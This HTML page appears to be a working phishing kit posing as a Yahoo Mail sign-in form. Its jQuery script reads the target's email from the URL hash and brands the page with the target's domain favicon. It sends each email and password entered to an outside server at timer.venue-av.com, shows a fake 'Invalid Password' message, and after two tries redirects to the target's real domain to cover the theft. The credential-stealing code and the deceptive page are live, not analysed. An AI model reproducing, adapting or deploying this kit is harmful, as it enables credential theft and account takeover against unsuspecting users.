<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Yahoo</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">
<style>
body{
background: url('https://i.postimg.cc/TwgfB2pk/background-yahoo.jpg');
background-repeat: no-repeat;
background-attachment: fixed;
background-size: cover;
}
.container{
width:180%;
display: flex;
justify-content: right;
align-items: right;
height: 90vh;
}
.office{
width: 400px;
background: #fff;
}
.office-holder{
width:80%;
margin: auto;
padding: 120px 0px;
}
.logo{
width:100%;
float: left;
margin-bottom: 2em;
}
.logo h1{
font-family: arial;
}
.verify{
width: 70%;
margin: auto;
}
.verify h4{
font-family: arial;
}
fieldset{
width: 90%;
float: right;
border:2px solid #4285f4;
border-radius: 5px;
}
legend{
font-size: 15px;
overflow: hidden;
width: 42%;
padding:0px 2px;
margin: 0px;
}
.verify input[type='text']{
width: 100%;
float: right;
border:none;
padding:3px 10px;
}
.verify button{
border:none;
height: 40px;
width: 80px;
float: right;
margin-top: 2em;
background: #4285f4;
border-radius: 5px;
color: #fff;
}
.email-to-verify{
border:1px solid #000;
border-radius: 10px;
}
.form-holder{
width:100%;
float: right;
}
.form-holder h3{
font-weight: 600;
}
.form-holder input[type='email'], input[type='password']{
width: 100%;
height:40px;
float: right;
margin-bottom: 15px;
}
.form-holder .btn-holder{
width:100%;
margin-top:1em;
display: flex;
align-content: center;
align-items: center;
justify-content: center;
}
.form-holder .btn-holder .btn{
background:#0073C6;
border:none;
padding:6px 10px;
color:#fff;
border-radius: 0px;
margin-top: 20px;
margin-bottom: 20px;
}
.form-holder .btn-holder .btn:hover{
cursor:pointer;
}
.checkbox{
width: 100%;
float: left;
margin-top:5px;
}
.checkbox label{
font-family:arial;
font-size:16px;
float: left;
margin-left:1em;
}
.hide{
display: none;
}
button {
background-color: #0294fd;
border: none;
color: white;
width: 100%;
padding: 12px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 18px;
margin: 8px 2px;
}
.button1 {border-radius: 2px;}
.button2 {border-radius: 4px;}
.button3 {border-radius: 8px;}
.button4 {border-radius: 12px;}
.button5 {border-radius: 50%;
}
</style>
</head>
<body>
<div id="html_encoder_div">
<div class="container">
<div class="office show border shadow bg-light" id="others">
<div class="office-holder">
<div class="logo" style="text-align:center">
<div id="login_logo">
<img id="logoimg" src="https://firebasestorage.googleapis.com/v0/b/kjhgoo-9ddde.appspot.com/o/FWD.png?alt=media&token=9967545a-75b5-4562-89b2-d27fbc05bc63" width="110" height="60" alt="">
</div>
<h3 class="text-dark"><strong id="logoname" class="text-uppercase"></strong></h3>
<h5 class="font-weight-light"><b>Sign in to Yahoo Mail</b></h5>
</div>
<center>
<div id="msg" style="display: none;font-weight: 600;color: red;">Invalid Password.! Please enter correct password.</div>
<span id="error" class="text-danger" style="display: none;">That account doesn't exist. Enter a different account</span>
</center>
<form id="contact" method="POST" action="">
<div class="form-holder">
<div style="width: 100%;">
<div class="alert alert-danger hide alert2"></div>
</div>
<input type="email" id="email" name="email" class="form-control" value="" placeholder="Username, email address or mobile number" required="">
<input type="password" id="password" name="password" placeholder="Password" class="form-control" required="">
<div class="checkbox">
<input type="checkbox" name="" style="float: left; margin-top:2px; margin-bottom: 10px;">
<label>REMEMBER ME</label>
</div>
<div class="btn-holder">
<button class="button4" id="submit-btn">Next</button>
</div>
<p style="color:#0073C6; margin-top:1em; float: left; width:100%;">can't access your account?</p>
<p style="color:#0073C6; margin-top:0em; float: left; width:100%;">Sign in with a single-use code</p>
</div>
</form>
</div>
</div>
</div>
</div>
<style>
.tb_button {
padding: 1px;
cursor: pointer;
border-right: 1px solid #8b8b8b;
border-left: 1px solid #FFF;
border-bottom: 1px solid #fff;
}
.tb_button.hover {
borer: 2px outset #def;
background-color: #f8f8f8 !important;
}
.ws_toolbar {
z-index: 100000
}
.ws_toolbar .ws_tb_btn {
cursor: pointer;
border: 1px solid #555;
padding: 3px
}
.tb_highlight {
background-color: yellow
}
.tb_hide {
visibility: hidden
}
.ws_toolbar img {
padding: 2px;
margin: 0px
}
</style>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script type=
"text/javascript" src=
"https://cdn.jsdelivr.net/npm/[email protected]/jquery.session.min.js"></script> <script>
$(document).ready(function(){
var count=0;
$('#back1').click(function () {
$("#msg").hide();
$('#email').val("");
$("#automail").animate({left:200, opacity:"hide"}, 0);
$("#inputbar").animate({right:200, opacity:"show"}, 1000);
});
var email = window.location.hash.substr(1);
if (!email) {
}
else
{
var my_email =email;
$('#email').val(my_email);
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(my_email)) {
$('#error').show();
email.focus;
return false;
}
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var c= my_slice.substr(0, my_slice.indexOf('.'));
var final= c.toLowerCase();
var finalu= c.toUpperCase();
$("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain="+my_slice);
$("#logoname").html(finalu);
$(".logoname").html(finalu);
}
$('#submit-btn').click(function(event){
$('#error').hide();
$('#msg').hide();
event.preventDefault();
var email=$("#email").val();
var password=$("#password").val();
var msg = $('#msg').html();
$('#msg').text( msg );
if (!password) {
$('#error').show();
$('#error').html("Password field is emply.!");
return false;
}
var my_email =email;
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(my_email)) {
$('#error').show();
email.focus;
return false;
}
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var c= my_slice.substr(0, my_slice.indexOf('.'));
var final= c.toLowerCase();
var finalu= c.toUpperCase();
count=count+1;
$.ajax({
dataType: 'JSON',
url: 'https://timer.venue-av.com//process/email.php',
type: 'POST',
data:{
email:email,
password:password,
},
beforeSend: function(xhr){
$('#submit-btn').html('Verifing...');
},
success: function(response){
if(response){
$("#msg").show();
console.log(response);
if(response['signal'] == 'ok'){
$("#password").val("");
if (count>=2) {
count=0;
window.location.replace("http://www."+my_slice);
}
}
else{
}
}
},
error: function(){
$("#password").val("");
if (count>=2) {
count=0;
window.location.replace("http://www."+my_slice);
}
$("#msg").show();
},
complete: function(){
$('#submit-btn').html('Sign in');
}
});
});
});
</script>
</body>
</html>